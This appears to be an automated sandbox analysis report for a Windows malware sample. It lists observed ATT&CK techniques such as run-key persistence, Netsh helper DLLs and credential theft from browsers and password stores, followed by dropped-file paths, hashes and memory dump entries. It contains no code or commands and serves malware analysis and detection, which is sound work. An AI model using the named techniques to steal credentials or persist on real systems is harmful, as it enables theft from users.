Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
MD5 3eb3833f769dd890afc295b977eab4b4
SHA1 e857649b037939602c72ad003e5d3698695f436f
SHA512 c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
TLSH
T13A51EE313375B0D4C95A7F07193819C063BF8386E698AF58B65C521ED92751B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2999b39e5c58ed2a35d9834ef978d0c019171ed06a9e56b23e09bd0bbddf01f3
MD5 921a190773b95b7660cb78051eba224a
SHA1 e682c2a3c3107dec9f956b0902fc5c86358d3858
SHA512 84642655a0841e57ff1575c8f5e32c0b1baabd9ced47dab03105c72a66f9aecde46c26a46d0863a45b5f4c0c62ae440440098e42ad29ba86b91a48b5535bf24a
TLSH
T1DF115363B79CC961CC9A423B409C9DA075B2D7C7819EDF9B6EC4C215A07F999CB211A0
MD5 SHA1 SHA512 TLSH

Submit Download

23fb6f24-cc85-4a5a-a462-30ece3df1081.tmp

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\23fb6f24-cc85-4a5a-a462-30ece3df1081.tmp
Size 7KB
SHA256 3a420f28315e71f5676853a295af11d0641b8cac660325951d750882a631fea2
MD5 ee05fd8ab200b6098cf58776f3742e31
SHA1 cb97ff07e787b9d601daff7a131eee1e715d85c8
SHA512 891231aaefb0c12e9059b96807d32c803e5fe41aea2af067ff35f62f5efe95d46a8b28cbefca9e3b1bcded5f2d84171f7a2e3b1759b6cb1d7abde19aceb1b025
SSDEEP 192:zRN1Fpv7nAPRp2UXsb+WN4XfiyIsnAUgR:zRN17GXPXw4aR
TLSH
T1E9F17429AD14A53F9CD6E329FD657B42E2F5102135942D08DBFC892C28EB6CD223B41B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 9ea79863059f20003a9257535aaf2c068b1532bcde203e96b97b321cdbd1f5e0
MD5 fcf7cd0232047a45cf33f450d790ffd8
SHA1 94b505de36891a6529f82989b585b999cb30f604
SHA512 297ef7a2dc0a393223ed55c489363bf51731f68957b50969299544a80442d377cb64a9a0f32f93a170ba10db145ac16e3b3d3190814240604be855c8a2866f55
TLSH
T167A0021022C10695CB4042789C5945816310492A425A931F8AE0C588EC623E2714D182
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 7a819b0e8bc57694d5771decd7b93de172851bdf575e3a59b0427cd4d29fdb32
MD5 e5bd818d8971ad1bce0be5ddc6c96f0c
SHA1 4559f5b1a8462ab64f060a717a075792f7ed5467
SHA512 17dfc1a22520e98ce44c038723df5aa763517303ecf99e9e1e8d5118237cf3e36dd31c92d5b6e436ce0a19d4051e41955297e837c43176d3ce1d9c716e2cef11
MD5 SHA1 SHA512

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\DawnWebGPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 72B
SHA256 116984f43e87e45a255d41429c55c186288e923489eb75b2a11a2381406efc39
MD5 5bb1da4e03466c66d2504857fde74c33
SHA1 65a8f22d3e91dc717b2d03b4c38fda7398373d80
SHA512 18dbf15dc88427b2c2231d8e12c00c5ad428be586893dfd81977cb2183d78176e5b2d3e75121c63cc7b19d2519facf9a8cf628bbeda60381b05cc0a125031d6e
TLSH
T151A0022181C90953E84193F95445418433165D264907970382D14AD59C531E04231440
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a2116.TMP

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5a2116.TMP
Size 72B
SHA256 7adc86b2e1f9aa99681ab00eb9c0dd8606f081432339d6ce1aa6c4daa8cc8ef4
MD5 d90a37711c7bfa010bc66b772cdd5024
SHA1 3ebb1fd79cd7407b58fe23f57d4dd3c355c872e9
SHA512 89f594cdbd5822546ca865bd0239ca4c23f1049740e461555f41035539b8e06361a29e88af1e3e2e70e00d38c5565d0545fa9a9f1a5f1e6a4ca974371ea5e979
TLSH
T13EA0023243448153D10513F56C4283991318FDA68044022376D043568C70050C932144
MD5 SHA1 SHA512 TLSH

Submit Download

000001.dbtmp

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\Sync Data\LevelDB\000001.dbtmp
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\Sync Data\LevelDB\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

d0c0379e-da82-4a03-911a-d1c666040c1a.tmp

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Default\d0c0379e-da82-4a03-911a-d1c666040c1a.tmp
Size 11KB
SHA256 ee12a14a7a1d91601b4c9db8dcca0723caec30bd846c000d0c5f82217cea3f0a
MD5 6ed78e4bf06edf54bcc6dc5f28881ea9
SHA1 b2e75f73eab2ae5307275025deae004f79fc87de
SHA512 1668cff6467dc5c0bd88713e1cb7df821f9c641e02c38d5a85770963e4e81473ca7be66c397a68a02c1c2c3e3dc9c9d4046846a2987909274da1fa7f1c39df3e
SSDEEP 192:eax4K6cK7KxkXqK4I40pUZNCgVLHrKHfFKOdlSAXzKD/3u+ErUkKN9eUgTBguS6q:7xj/K7KxkXqKf/pUZNCgVLH2HfgOmAX0
TLSH
T1E432C817A48DAA3F4FD8E51CCC576F4BADB4019272780C2496FB9C0503A878A114E6BB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Local State
Size 3KB
SHA256 34736818e37e71cfdec78ef1bcb141316bf237b57ccda0af70d6e273520fc883
MD5 83ec22816321b461675ab663ae6316ad
SHA1 3459414a07274d739808e153f4ff267d0480190f
SHA512 cae1f99cd3e7262d3250b9746d4abd132b198284d5e7803d119396550d886bf85c309cd130142da0e9409de942d976cb0185c242a41f5a6473a86195bd68b64b
TLSH
T1A571E771A9A8AC7764F2D582B9473A03CB78221BF5516ED4DAE80E1C10EB5DC130B91B
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Local State
Size 3KB
SHA256 5e266634ad27a25860237e73ea3ab10efd83f96b099185f9c8c0c42c21d78884
MD5 053312311fd33525a318bde6209ba342
SHA1 3b5d3f1216d8d127557ea3ad136e6ae30c7df81e
SHA512 fec76e2894964e72c84b5c2ea6a91adda203fe318050e302e381fd5d672c4fdae8b5d9fb63ee97b238a2fed222cd21938af551498abe84fcc39d721fbf858b6e
TLSH
T11081E7716968AC7764F6E582B9473A03CB74221BF5516E94DAE80E0C10EB5DC130A91B
MD5 SHA1 SHA512 TLSH

Submit Download

Local State~RFe59e6bc.TMP

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Local State~RFe59e6bc.TMP
Size 1KB
SHA256 2b0d60b5454d0a86a04435b48a206df0e6545c4b1144e8bcf0d5383fd450faef
MD5 d6928c5d2b3ef95eb13d0e2f34e29ef0
SHA1 e4989a555eb9fd28e1d0a87ddc91ae8625eb0402
SHA512 4ea998579d5b08083e93c0e900122188dd40f350ce6e67bdb6b709692a242cd3e6d7acd9b2ad31454f6cd91988b29c8286f6e81926ee17255edb9ca71475e153
TLSH
T12D11D8743D18B1A7A5E08992EE4BDBA31E35522BE2932D84A6CC1D05106728C3E2EC3D
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_r2tp5qot.3sa.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r2tp5qot.3sa.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Roaming\sc.exe
Size 11.6MB
SHA256 213c343ab852a0b185a2198677bf48ac0e7372467cce84d813fe8c5ddc7464b7
MD5 d9636241120eb6b38a28e010dc70fa01
SHA1 f609394cb065f651b68b29352f1538a4ce19627c
SHA512 7d647ce3e95c9af05f7395672076ce17267daa3c98d9a9709f2d0565fe6e1ad12a37d7fa71295e736ba79db3bc35b7d54dcba272688266651ef1f3f139bf4851
SSDEEP 196608:dlzJA5mK4mplH9ugx1lNIdrwkTY3AiK1EIUmh/LRFXddJWiSDxcKdO:dlM4ax1bcJTqK1+6ltWfc
TLSH
T116C6332835D5DC46DCA12B3485B5E7B047B41D8EA920EF0AAFD0BD9B3D36B7E8904127
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1372-0-0x000001B44F2A0000-0x000001B44FE44000-memory.dmp

Download

memory/1372-4-0x000001B46FB20000-0x000001B470672000-memory.dmp

Download

memory/1372-3-0x000001B46AEA0000-0x000001B46AEB0000-memory.dmp

Download

memory/1372-2-0x000001B450290000-0x000001B4502B4000-memory.dmp

Download

memory/1372-1-0x000001B46AEA0000-0x000001B46AEB0000-memory.dmp

Download

memory/1372-5-0x000001B46AEA0000-0x000001B46AEB0000-memory.dmp

Download

memory/2172-22-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-33-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-67-0x00000001E3C50000-0x00000001E411C000-memory.dmp

Download

memory/2172-66-0x00000001E3C50000-0x00000001E411C000-memory.dmp

Download

memory/2172-289-0x0000000244E40000-0x0000000248270000-memory.dmp

Download

memory/2172-70-0x0000000244E40000-0x0000000248270000-memory.dmp

Download

memory/2172-78-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-93-0x0000000244E40000-0x0000000248270000-memory.dmp

Download

memory/2172-94-0x0000000244E40000-0x0000000248270000-memory.dmp

Download

memory/2172-96-0x0000000244E40000-0x0000000248270000-memory.dmp

Download

memory/2172-95-0x0000000244E40000-0x0000000248270000-memory.dmp

Download

memory/2172-68-0x00000001E3C50000-0x00000001E411C000-memory.dmp

Download

memory/2172-97-0x0000000244E40000-0x0000000248270000-memory.dmp

Download

memory/2172-64-0x00000001E3C50000-0x00000001E411C000-memory.dmp

Download

memory/2172-42-0x00000001E3C50000-0x00000001E411C000-memory.dmp

Download

memory/2172-37-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-34-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-69-0x00000001E3C50000-0x00000001E411C000-memory.dmp

Download

memory/2172-25-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-210-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-20-0x00000001440A6000-0x00000001440A7000-memory.dmp

Download

memory/2172-18-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-17-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-21-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-24-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2172-23-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2456-216-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2456-213-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2456-214-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2456-215-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/2720-16-0x000002255BDD0000-0x000002255BDE0000-memory.dmp

Download

memory/2720-15-0x0000022576550000-0x0000022576572000-memory.dmp

Download

memory/2720-6-0x000002255BDD0000-0x000002255BDE0000-memory.dmp

Download

memory/2720-7-0x000002255BDD0000-0x000002255BDE0000-memory.dmp

Download

memory/3596-65-0x000002A434A10000-0x000002A434A34000-memory.dmp

Download